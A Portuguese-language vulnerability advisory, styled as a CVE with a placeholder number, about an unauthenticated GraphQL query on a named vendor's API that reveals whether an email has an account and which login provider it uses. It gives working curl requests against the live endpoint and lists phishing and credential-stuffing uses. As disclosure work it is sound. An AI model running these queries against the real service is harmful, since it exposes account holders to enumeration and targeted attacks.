CVE-2026-XXXX: Atlassian Central GraphQL — Oráculo de Enumeração de E-mail

Produto

Atlassian Central GraphQL Gateway (api.atlassian.com/graphql)

Tipo de Vulnerabilidade

CWE-204: Discrepância de Resposta Observável — Oráculo de Enumeração de E-mail

Gravidade

MÉDIA — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Descrição

A consulta GraphQL loomUnauthenticated_primaryAuthTypeForEmail no gateway central GraphQL da Atlassian retorna respostas diferentes dependendo se um endereço de e-mail está registrado na Atlassian, permitindo enumeração de usuários não autenticados.

E-mail registrado → retorna authType (ex.: workos, password, google) e uma URI de redirecionamento E-mail não registrado → retorna authType: "none" sem URI de redirecionamento

Nenhuma autenticação é necessária. O nome da consulta inclui 'Unauthenticated' — é intencionalmente público, mas não deveria vazar se um e-mail arbitrário tem uma conta Atlassian.

Versões Afetadas

• Atlassian Central GraphQL Gateway (snapshot 37157, build 2026-07-02)
• Endpoint: https://api.atlassian.com/graphql

Prova de Conceito

E-mail registrado (retorna provedor de autenticação):

curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'

Resposta:

{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "workos",
      "hasActiveMemberships": false,
      "redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
    }
  }
}

E-mail não registrado (retorna none):

curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'

Resposta:

{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "none"
    }
  }
}

Também vaza: mapeamento de e-mail → provedor de autenticação

authType: "workos" confirma que o e-mail usa SSO WorkOS. authType: "google" ou authType: "password" vazaria o método de autenticação. Isso possibilita phishing direcionado.

Impacto

Um atacante não autenticado pode:

• Enumerar contas Atlassian/Loom registradas em escala
• Mapear e-mails para seus provedores de autenticação (Google SSO, WorkOS, senha)
• Usar informações do provedor de autenticação para campanhas de phishing direcionado
• Construir listas de usuários Atlassian válidos para ataques de credential stuffing

Causa Raiz

A consulta loomUnauthenticated_primaryAuthTypeForEmail não realiza limitação de taxa (rate-limiting) e retorna informações do provedor de autenticação para qualquer e-mail sem autenticação. Embora o endpoint seja intencionalmente não autenticado (para o fluxo de cadastro do Loom), ele vaza se um e-mail tem uma conta e qual provedor de autenticação eles usam.

Remediação

1. Adicionar limitação de taxa para evitar enumeração em massa
2. Retornar uma resposta consistente para e-mails registrados e não registrados
3. OU: exigir um CAPTCHA/nonce antes de consultar o status do e-mail

O Que Isso NÃO É

Após testes aprofundados, essas alegações foram invalidadas:

• ❌ Nenhum token JWT com privilégios (tokens têm aaid: "unidentified")
• ❌ Nenhuma execução de mutação de administrador (todas falham com ValidationError)
• ❌ Nenhum bypass de autenticação (gateway identifica corretamente o chamador como unidentified)
• ❌ Nenhum vazamento de dados além do mapeamento e-mail/provedor de autenticação

Linha do Tempo

• 2026-06-30: Descoberto
• 2026-06-30: Reportado para [email protected]
• 2026-07-02: Avaliação corrigida — rebaixado de Crítica (9.8) para Média (5.3)

Descoberto Por

Wh4l3X